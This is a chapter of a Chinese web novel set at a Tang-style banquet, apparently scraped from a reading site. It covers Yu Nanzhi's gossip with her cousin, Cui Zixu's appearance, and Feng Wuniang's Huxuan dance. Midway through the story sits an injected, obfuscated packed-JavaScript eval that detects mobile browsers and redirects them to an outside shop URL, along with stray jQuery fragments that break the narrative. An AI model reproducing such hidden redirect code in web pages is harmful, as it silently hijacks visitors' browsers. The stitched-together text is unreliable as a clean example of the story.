默认冷灰
24号文字
方正启体

10. 冯五娘子

作者:月照前墀本书字数:K更新时间:
    捧着珍秀美食的侍女鱼贯而入,衣着华丽、香衣云鬓的青年男女在各自席上成堆交谈,或有人偶得灵感,挥毫泼墨间赋上一首妙诗,酒香扑鼻,暖风醉人,一派热闹风光。


    虞南枝回到暖阁后,很容易就找到了虞秋池。原因无他,虞秋池尚留在原本的位置上,甚至替她占住了座位。


    见虞南枝孤身返还,虞秋池问:“二姊,你可总算回来了。对了,我阿娘怎么没一块儿?”


    有草木传信,虞南枝当然知晓是郑太夫人留了纪夫人在凝晖堂,滔滔不绝地叙述着自家孙儿的种种长处。她只挑了紧要的回答:“太夫人留了二叔母说话,我便先回来了。”


    虞秋池点头,接着同虞南枝说起了八卦,“你刚走不久,虢三娘就出去,换了她兄长虢大郎鼓瑟,过了好一会儿才回来,我们都猜她是不是去会某位情郎了。”


    可不是吗?


    她才和虢三娘的那位情郎相看过一番。


    虞南枝说:“或许吧,让我想想……嗯,要是能知道那个时候还有哪几位郎君离席就好了,说不准就是他们其中一个。”


    这个猜测正中虞秋池下怀,她抚掌笑道:“我怎么就没想到呢?说不准明儿南枝鹊就会在小报上写这个。”


    南枝鹊本人——虞南枝默默不语。


    “对了,这回平原侯府面子可真大。”虞秋池继续和虞南枝咬耳朵,“来的人不仅多,还来了几个本不会在这儿露面的人。二姊猜猜有谁?”


    “啪!啪!啪!”


    突如其来的三声掌声打断姐妹间的絮语,男女席位之间的花罗屏风撤去,少男少女毫无遮挡地暴露在彼此眼前。


    “不必猜了,”虞南枝尾音陡然一沉,齿贝划过下唇,“人我已经看到了。”


    男席之首,崔子煦安然而坐,月白锦袍将他颀长的身形勾勒得恰到好处,银丝织就的梅花暗纹映着室内灼灼灯烛,波光粼粼,分外瞩目。


    崔子煦广袖半挽,手中金盏似抬非抬,眸光隔着满堂灯火落在女宾席上,不过须臾,却自顾自仰首饮尽,恍若适才仅是错觉。


    女宾席间倏地静了三分,三三两两的珠坠轻轻相撞,几双杏眸借着整理钗环和添茶的功夫往南宾席偷瞟。


    可落在虞南枝眼里,就是明晃晃的挑衅。


    她默默告诫自己暂且忍耐少顷,待寻到了机会,一定要全数报复回去。


    虞秋池的嗓音轻轻飘来:“河阳长公主与平原侯府的旧年纠葛,长安城中人尽皆知,公主府和崔家宴客从不请房家人,更不登平原侯府的门,房家人对长公主更是能避则避。这清河郡王一来,不就惊掉所有人的下巴了,莫不是两家打算和解了?”


    “或许吧。”虞南枝随口附和,心里却道要是河阳大长公主知晓儿子背着她要跟她的前夫家和解,还不打断他的腿。


    当然,和解是不可能和解的。


    昔年河阳长公主下降青梅竹马的房驸马,感情甚好,然而方过两年,房驸马被亲弟房三叔忽悠,卷入了废太子谋反案,牵连下狱。长公主跪在蓬莱殿外整整一日,没能求来对房驸马的特赦,只等到了先帝命她与其和离的圣旨。


    不久,房驸马与房三叔被赐死,唯一未牵涉其中的郑太夫人第二子降等承爵,却被免去所有官职,终身不得入朝。


    一年后,河阳长公主改嫁崔氏。


    皇命难违,但房家虽嘴上不说,私下大抵还是埋怨长公主没能保下房家的两个儿子。而长公主对房家更有怨怼,若不是房氏一门教子无方,纵得房三叔肆意妄为、不知天高地厚,她同房驸马未必会落得那般结局,没对他们发难都算不错了。


    只是由于某种隐秘,两方只是疏远彼此,井水不犯河水。


    “那个......”虞秋池悄声靠近虞南枝,眼里俱是好奇,“之前清河郡王是不是来过咱家,二姊你还见过他?”


    虞南枝的目光从崔子煦身上收回,“来府上借画的,二兄不巧有事,我就帮忙领清河郡王去了书阁。”


    虞秋池道:“瞧这儿各家女娘刚刚如狼似虎的样子,如果她们晓得了那一段故事,还不羡慕死你?”


    虞南枝面露惊恐,连呼佛号,“是......生撕了我吧?阿弥陀佛,千万别让人知道。”


    看着虞南枝脸色煞白,摇摇欲坠,虞秋池恍然记起自家二姊胆子不大,开不得这样的玩笑,赶忙在她耳边发誓:“二姊莫慌,小妹向佛祖起誓,绝不会对外吐露半个字,如有违之,便罚我口舌生疮……”


    “千万别,”虞南枝闻言面色更差了些,制止虞秋池说出剩下的话,“誓言这种东西,怎可随口就来。”


    虞秋池吐吐舌头,“二姊莫急,我不说了,我不说了。诶,瞧那边是要奏乐起舞吗?”


    不着痕迹转移了话题。


    暖阁中央,西域来的五彩锦绣舞筵铺开,四尊席镇狮子落于四角。


    房二娘一身妃色石榴裙外罩着银泥纱帔子,发间错综点缀几朵金栗珠花,站在舞筵中央拍掌笑道:“诸位难得相聚寒舍,若只吃酒喝茶,未免过于无聊。小女知晓诸位皆非凡俗之辈,今舞筵已备,扫榻以待,如有意者,或舞或乐,皆可令我等大饱眼福。”


    时人喜好热闹,舞乐之中总会那么一样,酒宴正酣之际,亲身下场奏乐起舞更是常事。


    只是这头一个落场的压力总是大些,席间静了那么一瞬,就听暖阁外荡起一阵银铃般的笑声,清亮的女声撞得门帘动了三下。


    “这般好事,怎么就不等等我?”


    卷帘掀起,一妙龄少女跨步而入,头戴卷檐胡帽,乌发高挽,不饰珠翠,斜插一根青翎,窄袖缚腕,赤色胡服收束出利落腰线。


    她行至阁中,眉眼如刀裁,举止投足尽显英气,“某来迟了,特来向主人翁告罪。”


    房二娘扶住行礼的女娘,道:“什么迟不迟的,冯五娘你来得正正好,听闻你近来学了胡旋舞,何不让我们开开眼界。”


    “那某便献丑了。”冯五娘性情爽朗,不曾推脱,往乐师所在之地望去,“跳胡旋舞怎能没有羯鼓呢?”


    房二娘道:“是寒舍准备不足,这有鼓却无击鼓之人。”


    冯五娘微微一笑,“这有何难?在座的郎君公子难道就没有一个擅击羯鼓的吗?”


    男宾席上一时喧闹起来,你推推我,我推推你,戚二郎与何十一郎更是蠢蠢欲动,只是因为不擅音律害怕当众出丑,不敢出列。


    骤然见着这么与总不同的女娘,虞南枝几乎移不开眼,她可算见到这位掷梅者了,没想到竟有这般风姿,之前对她的许多猜想全得推倒重来。


    虞南枝回过神,就见虞秋池一脸幸灾乐祸地盯着对面的虞书淮,“大前年阿耶寿辰,二兄可当堂击过鼓,这回多半又会被推上去。”


    果然,对面虞书淮被两个人架住胳膊抬到舞筵上,另有一橙衣郎君在后喊道:“虞二郎,从前国子监里数你羯鼓打得最好,连监正都夸过,还不让我们见识见识。”


    虞书淮拍顺袍角褶皱,正欲推拒,冯五娘已笑盈盈福身,语气感激:“小女谢过虞二郎仗义相助。”


    台子都搭好了,虞书淮如今是硬赶鸭子上架,想要撂挑子就走也不成。


    何况冯五娘之父冯少监于他有教导提携之恩,五娘更极少当众求助,他若拒绝,她的面子恐怕挂不住。


    虞书淮很快做了决断,叉手道:“如此,某便献丑了。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849946|191493||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “咚——咚——”


    虞书淮腰挎五彩陶羯鼓,手执檀木鼓槌在舞筵边缘敲响鼓面,冯五娘随之旋身,足尖点地腾挪,赤色衣袂绽开,金线所绣的如意纹于烛火下流转生辉,整个人宛如红莲盛放。


    旁观者只听鼓点愈发急促,那抹红影亦愈转愈急,碟躞带上的银链哗啦作响,似钩子般勾弄人心。


    “好!”不知是谁率先击案喝彩。


    左拾遗家的小娘子突然站起来,烟紫披帛滑落在地,“我也要跳!”


    先是三五少女提着裙裾下场,接着几位年轻郎君卸下腰间玉带勾,迈着舞步踏上舞筵。


    落场的人越来越多,满堂织金绣罗旋转,腕间臂钏撞出一片清越声响,酒液自金樽倾倒,转瞬被踏碎成星。


    纤指在桌案边缘叩出清脆的节奏,虞南枝目光在跳舞的人群中巡骏了一遍又一遍,终于锁定了出乎她意料的一幕。


    绕着满场飞旋的冯五娘,偏生每次相隔不过几息,总会恰好经过虞书淮三步之外,分明是有意为之。


    虞南枝忽然明白了什么,虞二叔与冯少监乃同科进士,听镇国公府的下人提起过二兄早几年还未入国子监时,常登冯府的门求教策论,虽然冯五娘去朔方的外祖家住了一年半才回长安,但两人之前必然相识。


    她险些就弄出了岔子!


    外人眼里,镇国公府寻回亲女却并未驱逐养女,反倒费心为其操持亲事,恰是家风明彻的表现,而养女亲女之间的那点子弯弯绕绕,不过寻常罢了,毕竟谁家的姐妹平日里不起些龃龉摩擦?


    待她再探查一番,确认一下真伪。


    虞南枝如是想着。


    忽而手腕一紧,虞秋知拽着她离了席位,“快!我们也去跳舞!”


    猛地扎入跳舞的人群,虞南枝脑袋还有些懵,就被虞秋池和左拾遗家的小娘子一左一右拉住,混进了一个舞队手拉着手转圈圈跳舞。


    一圈两圈还好,十几二十圈下来,虞南枝已有些晕乎乎了,原本拉着她的手一放开,她就踉跄了几步。好容易稳住身形,假作舞步朝虞书淮和冯五娘的位置靠近,一个醉醺醺的青年手持酒壶摇摇晃晃撞来,虞南枝腰支后折,左脚点地灵活一旋,醉鬼一个惯性栽倒在地,嘴里嘟囔着醉话:“来啊,再喝……”


    虞南枝有些嫌弃地嗅了嗅袖口,确认没沾上那个隐隐的酒馊味,正要转身离开,却被冯五娘抓住了,只听赤衣女娘笑问:“你是虞家二兄的二妹吧?”


    虞南枝连连点头,盯着冯五娘几乎移不开眼,先前隔得远还不觉得,如今离得近了发现冯五娘的容色倒是其次,最为可贵的是她身上那种几乎喷薄而出、灿若朝阳的生命力。


    “你应该知道了,我姓冯,家中行五,你唤我苁蓉姐姐即可。”冯苁蓉道。


    “苁蓉姐姐!”虞南枝对冯苁蓉颇有好感,喊得干脆。


    冯苁蓉嘴角绽出一抹笑,但视线扫过地上的醉鬼时,却渐渐冷了下来,“每次都总有这种喜欢发酒疯、不自量力的家伙。南枝妹妹,等会儿你就跟着我,我教你跳胡旋舞。”


    这么软软糯糯的妹妹可莫要被旁人惊扰了。


    冯苁蓉和虞书淮的想法不约而同。


    冯苁蓉的提议正如了虞南枝的意,她立刻答应。


    奈何刚教了几个胡旋舞手势,冯苁蓉又凑到了虞书淮附近,默不作声地赶走企图靠近的小娘子。


    虞南枝一边注意着那边的动静,一边比划着刚刚学到的手势,自娱自乐。


    倏然,身后划过一缕幽风,她脖后长坠的璎珞长链不知与谁碟躞带上系的玉佩霍然相击,发出一声脆响。


    虞南枝愕然回首,惊讶道:“竟然是你?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)